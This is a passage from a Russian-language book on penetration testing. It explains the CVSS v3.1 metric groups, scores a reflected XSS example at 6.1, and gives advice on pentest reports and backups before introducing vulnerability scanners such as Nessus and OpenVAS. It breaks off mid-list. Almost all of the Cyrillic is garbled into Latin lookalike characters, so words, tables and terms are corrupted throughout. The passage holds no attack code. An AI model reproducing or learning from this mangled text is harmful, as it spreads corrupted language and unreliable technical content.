Ha MoMeHT nmoAroToBKM KHUTHU K TIedaTy Bbiia yerBepTad Bepcusi CVSS. Bor
KpaTKuil 0030p ocHOBHBIX oTinymii ot CVSS v3.

1. Meroposoruu oreHKr 60JIee TECHO COOTHOCSTCS ¢ PEATBHBIM PUCKOM, YUHUTHI-
BatoT GoJiee MMPOKUiT CIIEKTP (haKTOPOB, BKIIOUYAS BEPOATHOCTD HKCILIyaTalluu
U TIOTEHIMAJIbHBIE TIOCTIE/ICTBUS YCIIEITHON aTaKuU.

2. Bouee yeTKoe paH;KUPOBAHUE PUCKOB; BBIIIE YPOBEHb OOBEKTUBHOCTH TIPU X
onpeaenernu. Jlo6aBieHbl HOBble METPUKHU, KOTOPbIE YUUTHIBAIOT AOMOJTHUTE/ b
HbIE aCIIEeKThI, TAKKE KaK IMOTEHIIUAIbHbIE TIOCJAEACTBUS YCIENTHON aTaKu, OlIeHKY
BO3/ICHICTBUA HAa aTaKyeMYIO CUCTEMY U CBSI3aHHDIC C HEll CUCTEMBI.

3. UcnpaBienure HEKOTOPBIX HEJIOCTATKOB MTPEbIYIIei BEPCUW, pacITUPEHME Tpa-
HUIl KOHTEKCTA, B KOTOPOM CYIIECTBYET ySI3BUMOCTD.

4. B03MOXHOCTH MHTETPAINH OIIEHOK KPUTUIHOCTH U BO3/IENCTBUS, TIPEJOCTABIIEH-
HBIX Pa3pabOTYMKOM WJIN IOCTABIIMKOM OIPEAeIeHHOTo IpoayKra. Jlomyckaercs
Co3/laHKe METPUK, pa3pabOTaHHbIX CAMUMU ITOCTABIIAKAMU.

Jlanublii cTaHAapT 4acTo UCIOJb3YeTCs B UHCTPYMEHTAX /IS CKAaHUPOBAHUS YA3BH-
MOCTEl 1 OIeHKH 6e30acHOCTH, YTOOBI TOMOUYb OIIEHUTh YPOBEHb PUCKA U TIPUHATH
MEPBbI TI0 YMEHBIIECHWTO YI3BUMOCTH. OH TakKe TPUMEHSETCS Pa3JInIHBIMU OPTaHU-
3AIMSIMU JIJTST OTIPEIENIEHIST YPOBHSI KPUTHYHOCTH YSI3BUMOCTH U [T Pa3pabOTKI
TOTUTUK GE30TTaCHOCTH.

OHeHKa BbIUHMCJIAECTCA Ha OCHOBAHWUW PA3JIMYHBIX (baKTOpOB, KOTOpbIE€ pacCMaTpu-
BalOTCA HUKE.
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Basossie MeTpukn B pamkax Common Vulnerability Scoring System — s10 niepBoHa-
YasibHblE METPUKH, UCIIOJIb3Y€EMbIE IJIsl OIIEHKHU YSI3BUMOCTH U OIPEeJIeHHsT YPOBHS
ee cepbesHocTr. OHU OTUCHIBAIOT XaPAKTEPUCTUKH YSI3BUMOCTH, OCTAIONINECS Heu3-
MEHHBIMU BHE 3aBUCHMOCTH OT KOHKPETHON CUTYAI[HH.

CyImecTByIOT TP TPYTIIH GA30BBIX METPUK.

1. Merpuku skcmwryaramuu (Exploitability Metrics) oTpaskaiorT XxapakTepucTHKN
YS3BUMOTO KOMITOHEHTA, BKIIOYAIOT B ce0sT HECKOJIBKO MOKA3aTeel:

1)

2)

3)

4)

BekTop ataku (Attack Vector) ykasbiBaer Ha TO, Ijie J10/KeH HaXOAUTHCS aTa-
KYIOIIHI /17T YCIIEITHOM AKCILTyaTalluu YA3BUMOCTH. JTa METPUKA MOYKET HPH-
HuMath 3Hadennst «Local> (ysI3BUMBIII KOMIIOHEHT He MMeeT JIOCTYIIA B CETh),
«Adjacent Networks» (ataka Bo3MOsKHa TOJIHKO TOT/IA, KOT/IA aTAKyIONHI Ha-
XOJIUTCST B TOM JKe JIOTHIECKOM UJTH (hU3ImIeckoM cermenite ceti) n «Networks
(aTakyomuit MOXKET JIeHCTBOBATD YAJI€HHO, B TOM YHCJIE Yepe3 UHTEPHET);

cnoxuoctb ataku (Attack Complexity) ykasbiBaer, TpeOyIOTCS JIU AJIS1 BbI-
MOJIHEHMS aTaKy CHelMaJbHble 3HAHNS WM ClIelUaIbHble MHCTPYMEHTDL. JTa
MeTpHuKa MOKeT IPUHNMATh 3HaueHusT «Low» (aTaka JIerko BBITTOTHSIETC ),
«Medium» (araka TpeGyeT HEKOTOPBIX 3HAHUIL UJIH JOTOJHUTEIbHBIX YCJIO-
Buii) u «High» (aTaka c1oxmna 1 TpedyeT onpeneIeHHbIX 3HAHUH WU CIIEIH-
AJIbHBIX UHCTPYMEHTOB);

Hasnmune npusuiernii (Privileges Required) onmceiBaer Heo6X0AUMOCTb Ha-
JINYUS CTIETTMAIILHBIX TPUBKJIETUI JIJIST YCIIETTHOTO TIPOBEIEHUST aTaku. MeTpu-
Ka IpUHUMaeT 3HaueHust «Nones (aTaka MOXKET BBIIOJHATHCS (€3 HATNIUsT
CIIeIUANbHBIX NPUBIIErUil), «Low» (IS IpoBefeHns aTakKi HeOOXOAUMbI
NpUBUJIErHU 00BIYHOIO MoJb3oBares), «High» (ans nposeseHus atTaku
HEOOXOMMBbI TTOBBIIIEHHBIE IPUBUJIETUH, BILIOTH 10 aJIMUHUCTPATOPCKUX);

B3anmojieiictere ¢ osbzosatesieM (User Interaction) nmokasbiBaeT HeOOXOAHU-
MOCTb B3aMMOJIEHCTBUS C TI0JIb30BATEJIEM JIJIs1 TIPOBe/IeHNs aTaki. B kauecTBe
puMepa MOKHO TTPUBECTU (DUIITMHTOBBIE MTUCbMA: IS IOCTUKEHUS ycIiexa
HEZI0CTATOYHO TIPHUCIATH BPEIOHOCHYIO CCHIIKY TI0 TOYTE, HEOOXOAMMO eIlie
yOenTh MoJIb30BaTEIS TIepeiiTh 10 Hell. MeTpuKa MpUHUMAeT 3HAUCHUS
«None» (B3aumozgeicTBrE ¢ oJIb3oBaTesieM He Tpebyercs) u «Required»
(aTaka TpeOyeT BBIMOJHEHUSI OIPEIEIEHHBIX JIeHICTBUN BTOPOI CTOPOHOIN ).

2. Metpuxu ypoBHs Bo3zeiictBus (Impact) onuceBaoT HoTeHITMATBHBIE TTOCIE]I-
CTBUS aTaKW Ha CHCTEMY B TOM CJIyYae, eCiv OHa Oy/IeT BBIMOJHEHA YCIEITHO,
1 BKJTIOYAIOT CIIEYIONTHE TTOKA3aTeIH:

1)

koHpuaeHmansiocTs (Confidentiality) ormucsiBaeT ypoBeHb PacKpPBITHST KOH-
(bueHTIIMATBHBIX TaHHBIX. BO3MOKHBI TPU YPOBHS PACKPBITHS TaHHBIX: «Nones
(Yyrpo3bl pacKpBITUST TAHHBIX HeT), «Lows (aTakyiomuii moJyryqust IOCTYII K Orpa-
HUYEHHOMY KOJINYeCTBY KOH(bUIEHIMANAbHbIX TaHHbIX), «High» (nmoayuen
JIOCTYT KO BCEM KOH(DUICHITNATBHBIM JJAHHBIM MU aTaKYIONTUH TTIOJTyYnJI J10-
CTATOYHO KPUTUIHBIE TAHHBIE, HATIPUMEP TIAPOJIb a/IMUTHUCTPATOPA, ITPU TTOMOIITH
KOTOPBIX OH MOKET OCYIIIECTBUTD IOCTYI K KOH(UAEHITNATbHON uH(pOpMaIum);
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2) nesocraocts (Integrity) ykasbiBaeT Ha BO3MOXKHOCTb MAHUITYJISAIIMY JAHHBIMU
B II€JIEBOII CHCTEME TI0CTIe YCIIEITHOM aTaku. MeTpuka IpuHIMaeT 3HAYEH I
«None» (arakyrommii He MOJKET U3MEHATb HUKaKue JlaHHble), « Lows (araxy-
IOIMIT MOJKET U3MEHUTH KaKHe-TO JIaHHbIE, HO 3TO He MPE/ICTABIACT TIPSAMOI
U 3HAYUTEJBHON yrpossl 1eeBoii cucreme) u «High» (arakyrormii Mmosxer
U3MEHSITD JII0ObIe (hailIbl I BHOCUTD B HEKOTOPBIE (DAIIBI N3MEHEHUST, KO-
TOPBIE HECYT B cebe 3HAYNTENbHbIE PUCKH JIJISI CHCTEMBI);

3) mocrynnocts (Availability) saciay:xuBaer Gosee mogpoOHOrO PacCMOTPEHMSL.
Korma Mbr roBOprM 06 MHGOPMAITHOHHBIX CHCTEMAX, TO SIBJISIETCS CAMOM CO-
6O Pa3yMETOTIIIMCST, YTO MX OCHOBHOM TIENTHIO SIBIISIETCST BBITIOJTHEHE OTIpeie-
JIeHHBIX 3a7a4. JIJist BBITTOJTHEHVST PaOOThI TPEOYIOTCST OIPE/Ie/IEHHbIE PECYPCHL:
aMsATh, apU(GMETUKO-JIOTHYECKOE YCTPOHCTBO, CUCTEMBI BBOJIA,/BBIBOJIA U T. JI.
Bo Bpemst ataku MOKeT BO3HUKHYTE COOM B JTIOOOM U3 9THX KOMIIOHEHTOB, UTO
HOBJIEYET 32 COOOH TIOJTHBII MJTH YACTUIHBIN cO0#l B paboTe CHCTEMBI 1 TIOBJIH-
sIeT Ha ee JOCTYMHOCTh. ECJIHM MTPOUCXOIUT MOJHBI 0TKa3 B 0OCTyKUBAHUN
WJIN Y aTaKyIoIero MOgBJSeTCS BO3MOKHOCTD TIOJTHOCTBIO 3aKPBITH JIOCTYII
K pecypcy, MeTprka npuHuMaet 3Hauenue «High», ecam araka Biusier B oc-
HOBHOM Ha GBICTPOIECHCTBIE CUCTEMBI WJIHM CHCTEMA CTAHOBUTCST HEAOCTYITHA
JINTIH YacTUYHO — 3HayeHune «Lows. Eciin ke aTaka HUKaK He CKa3bIBaCTC
Ha JIOCTYITHOCTH CUCTEMBI, METPUKA IPUHUMACT 3HadeHune «None».

3. O6aactp aeiictBus (Scope) yKasbIBaeT Ha TO, KaK YSI3BUMOCTb B KOHKPETHOM
KOMITOHEHTE CHCTEMBI BJIUSET HA APYTHe ee KOMIOHeHThl. Hampumep, ecm mo-
¢Jie YCIENTHOM OKCTITyaTal[iy YSI3BUMOCTH B 6a3e TaHHDBIX CTIETIMATUCT TTIOTyYaeT
JOCTYTI JIMIITh K XPAHSIIENcst B 9T0# 6aze nHdopManuu, MeTprka OyeT HMeTh
snauenne «Unchanged». Eciin ata jke ysI3BUMOCTD TI03BOJISIET TIOBBICUTH TIPH-
BUJIETHN B CUCTEME, UTO BBIXOAUT 32 001ACTh KOHTPOJISI HE30MaCHOCTH TaHHOTO
KOMITOHEHTa, 3HaueHne nusMenutes Ha «Changed».

Onenka kax1o0ii 6a30Boit MeTpuky npoussBoguTcs 1o mkazie or 0 1o 10, roe 0 — aro
HaMMEHBIITNH yPOBEHB cepbe3HocTH, a 10 — HauBbIcMil. VITOTOBBII yPOBEHD Cephe3-
HOCTH YSI3BIMOCTH BBIUKCIISIETCS] Ha OCHOBE COYETaHUS BCeX Oa30BbIX METPHK C UCIIOJIb-
30BaHMeEM crienuaibHoi popmyJibl. TIpricBoeHe 3HaYeHNS BeeM GazoBbIM METPHKAM
SIBJISIETCSI HEOOXOIUMBIM JIJISI PacueTa YPOBHS KPUTHYHOCTH, OCTABIIIUECST JIBE TPYITIIHI
METPUK He SIBJISTIOTCST 00513aTeIbHBIME 1 UCIIOJb3YIOTCS [JIs1 H0Jiee TOUYHOMN OIIEHKH.

Merpuku okpy:kenusi (Environmental Metrics) 8 CVSS — 910 gonoHuTe IbHbIE
METPUKH, UCTIOIB3YIONIUECS I GoJiee TOUHOI OIEHKU YPOBHSI CEPhe3HOCTH YsI3-
BUMOCTH. ITH METPUKHU SIBJISIOTCS MOAUGDUIIMPOBAHHBIM SKBUBATEHTOM 6a30BBIX
METPHK U OIKCHIBAIOT O0JIee KOHKPETHBIE XaPAKTEPUCTUKHU YSI3BUMOCTH, KOTOPBIE
3aBUCSIT OT CJOKUBIIENCS cuTyanuu 1 ocobernocreit mocrpoetust VIC B KOHKPETHOI
OpraHu3aIi. BeIessIioT 1Be rPyIIbl METPUK OKPY KEHUSI.

1. TpeboBanust k 6€30MACHOCTH OMUCHIBAIOT BAKHOCTH KOHKPETHBIX KOMITOHEHTOB
CUCTEMBI B KOHTEKCTE X MCIIOJIb30BAHUA KOHKPETHOI opranusaineil. YpoBeHb
KOH(DUAEHIIHATBHOCTH, 1testocTHocTH 1 goctymHocTr (Confidentiality, Integrity,
Availability wiu cokpaiienro CIA) onucbiBaet, Kakoii 3¢ (heKT OKaKeT Ha CUCTEMY,
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MOJIb30BATEIEN I KIVEHTOB HApYIIEHNE B OJTHOM WJTH HECKOJBKUX YKa3aHHBIX
acriektax. JTa MeTPUKa MOKET IIPUHUMATD 3HaueHust « Low» (HesHaunTebHbIl a¢h-
dexr), «Medium» (3uaunresbubi addexr), «High» (karacrpoduuecknii apdexr).

MoaudunmpoBatibie 6a30Bble METPUKH MTO3BOJIAIOT aHAJIUTHKAM TIEPEOIIPENEISTh
oT/ie/ibHbIe 6a30Bble METPUKU HAa OCHOBE KOHKPETHBIX XaPaKTEPUCTUK CPEJIbl,
B KoTOpOii paboraer IC. Hanpumep, B IC ecTb ys3BUMBII KOMIIOHEHT, KOTOPbIIA
MOZKET OBITh UCIIOAb30BAH [JIsI aTAKK TOJBKO B TOM CJIydae, eCJIH aIMUHICTPATOD
He U3MEeHWJI 33/IaHHble 110 yMosrdauuio HacTpoiiku. Onnako ecam UT-cnerranuctot
UBMEHIIN KOH(DUTYPAIIMIO, 8 CaM KOMIIOHEHT paboTaeT ¢ OrpaHuYeHHBIME TIpa-
BaMU, TO B 9TOM CJIydae MOIUMDUITMPOBAHHBIM METPUKAM KOH(MUICHITNATHHOCTH,
HEJIOCTHOCTH M JIOCTYITHOCTH MOTYT OBbITh 3aJ[aHbl O0Jiee HU3KHE 3HAUCHUSI.

TemmopaJbHble METPUKH — 3TO €Ille OAUH TUII METPUK, MCIOJIb3YeMbIX s OoJjiee
TOYHOU OIEHKU YPOBHS CEPbE3HOCTU yI3BUMOCTU. OHU YUYUTHIBAIOT BPEMEHHbBIE
(hakTOpBI, CBI3aHHbIE C YSA3BUMOCTDIO, TAKME KaK HAJUYKe rartdeid, nHhopMainm
O HEH U T. II.

B CVSS cymecTByI0T Tpu TeMIIOpabHbIe METPUKH.

1.

Jocrynnocts axcinoiita (Exploit Code Maturity) omucbiBaer, HACKOJIbKO /10~
CTYITHBIM SIBJISIETCST 9KCTIIONT JIJIST YSI3BUMOCTH. DTa METPUKA MOKET TPUHUMATD
sHauenus «Unprovens (akciioiiT HeussecteH), «Proof of Concept» (ectb sKc-
IUJIONT, HO €ro IIPYMEeHeHIe MOKeT oTpeboBaTh CEPbe3HbIX MOAMMUKALNI B 3a-
BUCUMOCTH OT cpeJibl IpuMenenns ), «Functional» (ectb aKCIIONT, 1 OH MOKET
HPUMEHATHCS [IPAKTHYECKH B J11000ii cucreme) u «Highs» (ectb skciwnoiit, Koto-
PBIif MOXKHO UCTTOJIb30BaTh B aBTOMATU3UPOBAHHBIX aTaKaXx ).

HoctynHocts uctpasienst (Remediation Level) onucbisaet, HACKOJIBKO JIETKO WK
CJIOJKHO YCTAHOBUTB 1ATY, KOTOPBII YCTPAHSIET YSI3BUMOCTh. JTa METPUKA MOXKET
npuarMarh sHavennst «Official Fix» (ounmanbiblii maTy gocrynen), « Temporary
Fix» (mocryrmeH ohurmaibHbiii BpeMeHHbIi matd), « Workarounds (soctytiHo He-
oduInaIbHOE PelieHne, HAIPUMEp ATy, BBITYIEHHBI TPYITION SHTY3HMACTOB)
u «Unavailable» (Ha gaHHBII MOMEHT HUKAKHMX PEHICHUN TPOOJIEMBI HET).

Yposennb yBenomiienust (Report Confidence) onucpiBaer, HaCKOJIBKO 3KCITEPTHI
YBEPEHBI B TIPABUIBHOCTHU U TIOJHOTE HHMPOPMAIHK 00 YSI3BUMOCTH. DTa METPUKA
MOKET MPUHUMATH 3HaYeHus1 « Unknowns (ecTh KOCBEHHBIE JTaHHBIE 00 YSI3BU-
MOCTH, HO JIETaJIi OCTAIOTCST HEM3BECTHBIMM ), « Resonable» (cobpaHo mocTaTouHO
JAHHBIX /IS ITOATBEPsKACHUS HAJIMYUsl YS3BUMOCTH, HO HEeT TOYHOH nndopmanuu
o puurHax ee nosiBjaehus ), «Confirmed» (MMerOTCsT 0KA3ATENBCTBA HATTYST
VSI3BUMOCTH U yCTaHOBJIEHA ITPUYNHA ee Bo3HuKHOBeHusT) 1 «Not Defined» (ypo-
BEHD YBEJIOMJICHUS HE OIpe/iesieH ).

Kaskmast teMmopasbHast METPHUKa UMEET CBOH HabOP 3HAUEHT T, KOTOPBIE MOTYT OBITh
Ha3HaYyeHbl Ha OCHOBE BPEMEHHBIX XapaKTEPUCTUK YSA3BUMOCTH.

[Tocse mopcueTa pe3yabTUPYIONIEl OIeHKH, OCHOBAHHOU HAa BCEX UCIIOTB3YEMbIX Me-
TPUKAX, ONPEETSIETCST YPOBEHb KPUTHIHOCTHU TO# Ui WHOH ysi3BumocTH (Tabir. 5.1).
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Ta6nuua 5.1. OnpeaeneHne ypoBHSI KPUTUYHOCTU YSI3BMMOCTM Ha ocHoBe b6annos CVSS

YpoBeHb KPUTUYHOCTH Bannbi
Her 0

Husknit 0,1-3,9
Cpennmnii 4,0-6,9
Boicoknii 7,0-8,9
Kpurnueckuit 9,0-10

PaccMmoTpuM mpumep ompejieleHUsT yPOBHS pucka. /lomycTum, ecTb ysI3BUMOCTD
B O/THOM U3 KOMITOHEHTOB BeO-TIPUIOKeHNs. [T OCYTIIECTBIEH ST ATAaKU CIIETIHATICT
CO3/IaeT CCHITKY Ha BeO-CaifT, Ha KOTOPOM YCTaHOBJIEHA YSI3BUMAsT BEPCHUS TIJIarnHa.
ITa CChLITKA COJEPKUT BPEJIOHOCHBIH JavaScript-kKoz. ATakytonuii BBOIUT KEPTBY
B 3a0JIy2K/I€HIE, 3aCTABJISAST €€ HAJKATh Ha ATY CCHIIKY — OTIIPABJISAS CCIUIKY KEPTBE
110 HJIEKTPOHHON MOYTe WM pasMelas CChlIKy Ha BeG-caiite. Kora xeprsa Haxu-
MAeT Ha CChLIKY, YSI3BUMBII CePBEP OTIPABJISET JKEPTBE JIETUTUMHYO BeG-CTPAHUILY
C BPEIOHOCHBIM JavaScript, co3aHHbIM aTakyroimum. Be6-6Gpaysep ;KepTBbI BBITIOJI-
HSIET BPEJOHOCHBII JavaScript B KOHTEKCTE YSI3BUMOTO BeO-caiiTa, 4To Mo3BOJISIET
aTakyIolleMy YUTaTh U U3MEHATD JaHHble, CBS3aHHbIE C 9TUM CaliTOM. ATakM THUIIA
«Reflected XSS» 00brunO HalleIeHbl Ha KpaxKy Gailios cookies, CBI3aHHbBIX € YA3BH-
MBIM Be6-CaiiTOM, HO MOTYT UCIIOJIb30BATHCA JIJIs 3AITYCKA IPYTUX JEHCTBUIA.

Jliist pacueTa ypOBHSI CEPhEe3HOCTH YSI3BUMOCTHU MbI GyzieM ucosbsosarh CVSS v3.1

(1abun. 5.2).

Ta6nuua 5.2. OnpegenexHne ypoBHS KPUTUYHOCTU YS3BUMOCTM

MeTpuka 3HaueHue | KommeHTapui

BexTop aTaku Cetb ATtaka MOKET ObITb BBITIOJHEHA YePe3 HHTEPHET

CJ10:KHOCTB aTaKkK Huzxwmii Atakyronmii 6e3 mpobeM MOKET BBITOJHUTD JAHHYIO
aTaky

Hannane npusunernii | Her J1J1st BBITIOJTHEHUST ATAKKM HUKAKUX [TPUBUJIETHIT
He Tpebyercst

Bsaumozeiictsue Tpebyercs | JKepTBa 00s13aTeIbHO J0JKHA HAKATh Ha BPEIOHOC-

C TOJTb30BaTesIeM HYIO CCBITIKY

Obmactb reficTBIs Vamenena | Ys3BUMBIN KOMIIOHEHT HAXOAUTCST Ha BeO-cepBepe,
OJIHAKO 3aTPOHYTHIM OKa3bIBaeTCst BeO-Gpaysep 1moJib-
30BareJst

Kondunennnanpaocts | Husknit ITpoucxoanT yreuxa ToabKO NHPOPMAINH, CBSI3aH-

HOM ¢ KOHKPETHDIM YA3BUMbIM Be6-l’[pI/IJTO}KeHI/IeM

IlesocTHOCTD Husknit Casi3aHHast ¢ BeG-puioxKeHneM naGOopMarust
He MOJKeT ObITh MOAUUIMPOBaHa

[ocrynHoctb Her Bpenonocusiit JavaScript cyiiecTBeHHO He BIHUSIET
Ha 6paysep KepTBbI
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Nrak, 6asosast Merpuka CVSS jist a10i1 ysissumoctu Oyzer 6,1 — cpearsisa (medium).

K cuacTbio, /17151 O11eHKY PUCKOB HAM He HYKHO JIEPKATh B TOJIOBE CTOJbKO UH(pOpMa-
. PaszpaboTunku cratzapra 1o3ab0THIMCH O HAC U CO3a/Ii OHJIARH-KaJIbKYJISATOP
(puc. 5.17), KOTOPBII 3HAUNTETHHO OOJIETIAET HAIITY sKU3Hb, — https://www.first.org/
cvss/calculator/3.1.

Common Vulnerability Scoring System Version 3.1
Calculator

lHover over metric group names, metric names and metric values for a summary of the information in the
official CVSS v3.1 Specification Document. The Specification is available in the list of links on the left, along
with a User Guide providing additional scoring guidance, an Examples document of scored vulnerabilities,
and notes on using this calculator (including its design and an XML representation for CVSS v3.1).

| (Medium) |
Attack Vector (AV) Scope (S)
(Adjacent 4] (Local ) Changed (C)
(Physical (] Confidentiality (C)

Attack Complexity (AC) (None v} (1ien 0]
—

Privileges Required (PR)
Availability (A)

User Interaction (UI) [mj m
froneer)

Puc. 5.17. OHnaliH-kanbkynstop CVSS

YTO CTOUT, @ Yero He CTOUT BK/IOYATb B OTUET

M3HavanbHO 9TOT pasaest MmJaaHupoOBaJICA B JKaHPE «BPE/IHbIX COBETOB», HO KHUTa
y HaC cepbe3Hasi, i I09TOMY OrpaHUYKMMCcst 001Iei nHdopMaIell B TpagulHOHHOM
JI71ST HAC CTHUJIE.

Tak vero »xe He CTOUT BKJIIOUaTh B oT4eT? HUKor/1a He cTapalitech c/iesaTh Balll OTYET
GOJIbIIIE 32 CUET HEHYKHBIX JAHHBIX. TaK, IIPeAbIIyIii ab3al] He COAEPKUT HIKAKOIL
[10JIe3HOM Jijish Bac nH(MOPMAIUK, HO 3aHUMAaeT HECKOJIbKO cTPOK. To ke kacaercs
u oryera. MHOKECTBO JIaHHBIX He paBHO 00beMy TIpojiesaHHOi paboTsl. Hanpumep,
OCJIE TOTO KaK BbI TPOCKAHUPOBAIN NMap Bee MyOIMIHBIE ajipeca KOMITAHIH, CKOPee
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BCETO, BbI IOJIYYUTE HECKOJIBKO CTPpAaHUIL JITaHHBIX, T/1€ HeﬁCTBHTGHbHO ITOJIESHBIMU
6leyT JIMIIb J€CATOK CTPOK, BOT UX BaM U HYKHO IIOKa3aTb.

Wcnoab3yiiTe CHUMKY 9KpaHa, KOT/Ia 3TO yMecTHO. J{Jis oATBepskAeHs IPOHUKHO-
BEHUA B CUCTEMY HET CMbICJIA IIPUKJIABIBATL K OTYETY B KauecTBe [JoKa3aTebCTBa
MOJTyYeHHbIe JaHHbIe, 0OCOOEHHO eCTu OHU KoH(bUAeHMaIbHbE. [[0cTaToqHOo 0O/
HOTO CHMMKA 9KPaHa, MOKa3bIBAIOIIET0 OCHOBHBIE TTAPAMETPBI CUCTEMBI, B1arofapst
KOTOPBIM €€ MOKHO JIOCTOBEPHO WACHTU(HUIIMPOBATD, U PE3yJIbTaTa BBITOJTHEHUS
KOMaH/[bl Whoami, oTBepKAaIoIIero noydeHne IPUBUIETUI B CUCTEME.

Ecjit B cBoeM 0OTU€ETE BBI CCHIJIACTECH HA OTIPE/ICICHHbIE CTAHAAPTHI, TaHHBIE 00 ysi3-
BUMOCTSIX WJIH JIIOOYI0 IPYTY0 00IIEA0CTYITHYIO HHMOPMAIINIO, TO B IEJISX CO3IaHMUST
6oJiee TaKOHMYHOI'O OTYETA PACCMOTPUTE BO3MOKHOCTh MCIIOJb30BAHMS CCHLIOK.
Crangapr SMTP cogepxut B cebe 94 cTpaHuIibl, a YTO OYIET, €CIM Bbl 3aXOTUTE
BCTaBUTH B CBOM OTUYET HECKOJIBKO TAKUX I/ICTO‘{HI/IKOB? HpI/I HNCITOJIb30BaHUUN CCBIJIOK
Ha BHEILIHUE UCTOYHUKU Te, KoMy Oy/ieT HeOOXOMMO IIpoYecTh MH(GOPMALUIO, Ha KO-
TOPYIO BbI CCHLIAETECH, MOJTYUYaT TAKYI0 BOSMOKHOCTD, & BaIll OTYET OYAET BBITJISIETh
6oJiee Cepbe3HbIM U TIOHATHBIM.

Mpe3eHTauns mMatepuana

[IpencraBienue otyeTa aBJseTCA He MeHEe KDUTUYHBIM 3TAIIOM, YeM BBITTOJIHEHNE
ayzuTta nHGOPMAIMOHHON CHCTEMBI. YOEIUTECh B TOM, UTO Balll OTYET U [IPE3EHTa-
st (MJIA ¥ TO U JIPYTOE) TTOJITOTOBJIEHBI B €JIMTHOM CTUJIEe, UHPOPMAITUS U3J1araeTcst
TeXHUYECKU IpaMOTHO U IocseoBareabio. [locie co3manus oryera IpouTUTe €ro
ellle pas, ComocTaBbTe 0003HAYEHHBIE B HAUAJIE TIEJTU C TIOJYIEHHBIMU PE3YIHTATAMI
U TIPOBEPETE, HACKOJIBKO ITO XOPOIIO 0ToGpaskeHo B oTdere. OOsI13aTeIbHO HECKOIBKO
pas mposepbre ophorpaduio 1 IMyHKTYAIUIO — OMUOKU MOTYT CEPhE3HO MO0PBATH
Bepy B Bac Kak B mipodeccronana.

Pe3epBHble kKonuu

CyliecTByeT /[Ba THIIA JIOJEH: T€, KTO PEryJIsSipHO JIeJIaeT Pe3ePBHBIE KOIIUH, U T€, KTO
noka etie He gesaet ux. Cosanue pe3epBHBIX KOMUN — KaK TIOKYITKA CTPAXOBKHU JIJIsT
My TENIECTBUS: TOKA BaM OHA He TIOHA0OUTCS, BB CYUTAETE HTO HAMTPACHON TpaToii
PeCypcoB, HO B 06O HEIIPeABUAEHHON CUTyanuu Bbl Oyaere 61aronaputh cebst 3a
TO, YTO 3aCTPAXOBAIUCH. PEKOMEH/IYETCST PETYJISIPHO CO3/[aBATh PE3EPBHBIE KOITUU
JMOKYMEHTAINK ¥ JI060I APpyTroil KpUTHIHOM wH(pOpMaIuu. XpaHuTe Pe3epPBHbBIE
KOTMK B 0E30MIaCHOM MeCTe M PACCMOTPHUTE BO3MOKHOCTH IMU(POBAHUS JaHHBIX,
Be/lb BbI, KOHEYHO JKe, He XOTHUTE, YTOOBI B OJIMH TIPEKPACHDIN IeHb OHU OKa3aJIHCh
B IyOJINYHOM JIOCTYIIE.
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VTak, Mbl HAIILITH CEPBEP, K KOTOPOMY MOKEM MOJIYyYUTh J0CTYI. OGBIYHO /IS He-
CAaHKIIMOHUPOBAHHOTO MOIKIIOYEHUS MCIIOIb3YIOT YSA3BUMOCTH B YCTAHOBJICHHOM
I1O. Ho kak onpezienTh, Kakue yI3BUMOCTH ITPUCYTCTBYIOT HA y/IaJIeHHOM MallinHe,
a Kakue HeT? MOKHO MOTIBITAaThCS HANTH WX BPYYHYIO, HCITOJIb3YS MOJTYUYEeHHYIO WH-
dbopmaruio 1 6asbl JaHHBIX YA3BUMOCTEN. VI XOTSI 9T0 caMblii TIPaBUJIBHBINA Ty Th, OH
GYJIET IOTUM U TPYJOEMKIM, TIOTPEBYET XOPOIIIEil TEOPETHYECKOH 1 MPAKTHIECKOT
MOJITOTOBKU. B aTOM citydae HaM TTOMOTYT CKaHepbl ySI3BUMOCTEH.

Cawmpie nomryssipabie ckanepbl — Nessus, OpenVAS, Retina u Nexpose. Ouu 1mo3Bo-
JISIOT He TOJIBKO HaXO/IUTh OTKPBITHIE yI3BUMOCTH B yctaHoBiaeHHOM [10 1 OC, HO
1 OTIPEeIesISATh yCTapeBIIue MPOTOKOJIbI MU(MPOBAHMS, 3apa’keHHbIe KOMITBIOTEPHI
1 MHOTOE JIpyToe. DT UHCTPYMEHTHI MPe/IHA3HAYEHBI HE TOJIBKO JIJISI 3JI0YMBIIII-
JIEHHUKOB, HO U /It aJIMUHICTPATOPOB, JKEJIAIOIINX YIYYIIUTh 6€3011aCHOCTb CBOEH

nH(PACTPYKTYPHI.

MpuHUMN paboTbl CKAHEPOB YS3BMMOCTEMN

TexHosoruu M 1MpuUeMbl, KOTOPbIE UCITOJAb3YIOT CKaHEPhl YSI3BUMOCTel, MOTYT He-
CKOJIbKO PA3JINYATbCS B 3aBUCMMOCTH OT IIPOJYKTa, OJJHAKO BCE OHM OCHOBAHDBI Ha
OOIIMX TIPUHITATIAX:

e Co6op undopmanuu. Cranepbl yA3BUMOCTEH HAYMHAIOT CBOIO paboTy co chopa
urdopMannn 06 aHATM3UPYEMOU CHCTEME, KOTOPBIN BKJIIOYAET B ce0s1 onpeieie-
HUE JIOCTYITHBIX XOCTOB, ONMEPAIIMOHHON CUCTEMbI, CEPBUCOB, OTKPBITHIX OPTOB
W T. L.

e CpaBHenue ¢ 6a30i JaHHBIX YA3BUMOCTEN. Y Kask/[0TO CKaHepa ecTh OGIIpHAsT
6a3a JJaHHBIX U3BECTHBIX ysa3BUMocTell. Kak Tosbko nHdopManus o cucreme
cobpaHa, OHA CPAaBHUBAETCsI ¢ GA3011 IAHHBIX C TIEJIHIO OTIPEIEUTD, KAKUe U3 U3-
BECTHBIX YSI3BUMOCTEH MOTYT IIPUCYTCTBOBATH HA HAMICHHBIX XOCTaX.

® AKTHBHOE CKaHHUpPOBaHHE. HeKOTOpre CKaHeEPbI TaKKe BbIIIOJHAIOT aKTUBHOE
CKaHUPpOBaHHE: OHM COBEPIIAIOT OIIpeJAeJIEeHHbIE I[eﬁCTBHH WJIN OTIHPaBJIAIOT
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CITCIINAJIbHBIC ITAKEThI JaHHBIX, IIbITasACh YCTAHOBUTD, ZIefICTBI/ITCJIbHO JIN B 1aH-
HOI cucTeMe MOKHO IIPOSKCIIyaTUPOBaTh Haﬁl[eHHyIO yA3BUMOCTbD. O,ZIHB.KO
9TO CBA3aHO C OIlpe/IeJIEHHBIMW PUCKaMU 1M MOJKET IIPUBECTU K c6010 B pa60Te
CHCTEMBDBI.

e Anamu3 pe3yasTaToB. [IpoBoauTCs mocie Toro, Kak CKAaHMPOBAHNE 3aBEPITEHO,
